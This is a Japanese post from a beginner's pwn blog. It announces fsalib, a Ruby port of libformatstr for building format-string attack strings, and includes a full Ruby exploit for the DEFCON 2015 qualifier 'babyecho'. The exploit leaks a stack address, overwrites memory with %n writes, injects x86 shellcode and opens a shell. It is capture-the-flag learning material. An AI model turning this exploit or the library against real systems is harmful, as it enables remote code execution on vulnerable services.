読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

fsalib(format string attack library)を公開

Pwnにおいて書式文字列攻撃のコードを書くときは,たまにあり,Pythonだと以下のlibformatstrが有名だと思う.

github.com

しかし,RubyでExploitを書いている身としてはこれは使えないので,重い腰を上げようやく,自分用にlibformatstrの中で実際に書式文字列攻撃用の文字列を生成しているcore.pyRubyで書き直した.

github.com

使えそうなところは,本当にPythonRubyに直しただけで,名前などは自分が使いやすいように変えてしまったり,内部のメソッドの持ち方とかも,自分が書きやすい&理解しやすいように少し変えてしまった.

実際にDEFCON2015予選のbabyechoという問題で利用したのでexploitを載せておく.この問題はFSBがあるが,最初は読み込みサイズが小さいので,読み込みサイズの値をまず書き換えてしまってからシェルコードを流し込んで飛ぶという単純な問題である.個人的には小さい値を書き換えるぐらいはこのライブラリをわざわざ使う必要はないが,4byte書き込みとかになったらしんどいので利用している.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'
require 'fsalib'
include Shellcode

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = ''
  port = 0
end

PwnTube.open(host, port) do |t|

  # t.debug = true
  t.recv_until("bytes\n")
  t.sendline("%5$p")
  esp28 = t.recv_until("\n").to_i(16)
  esp = esp28 - 28
  puts "esp: 0x%x" % esp

  t.recv_until("bytes\n")
  payload = p32(esp + 0x10) # length
  payload << "%99c%7$n"     # 適当にlengthを書き換え
  t.sendline(payload)

  t.recv_until("bytes\n")
  payload = ""
 
  # 以下が書式文字列生成部分
  fsa = FSA.new
  fsa[esp + 1068] = esp + 68
  payload << fsa.payload(7)

  payload = payload.ljust(40, "@") # わかりやすいように40byteまでpadding
  payload << shellcode(:x86)
  t.sendline(payload)

  t.recv_until("bytes\n")
  payload = p32(esp + 0x18)
  payload << "%114514c%7$n" # ループの条件となっているFLAG変数を書き換え
  t.sendline(payload)

  t.shell

end

詳しくないが,簡易的なUsageはREADMEに書いたので見てくれ. あと,やっつけで書いたので,どうせミスってる部分あると思うし,誰か気づいたら教えてほしい.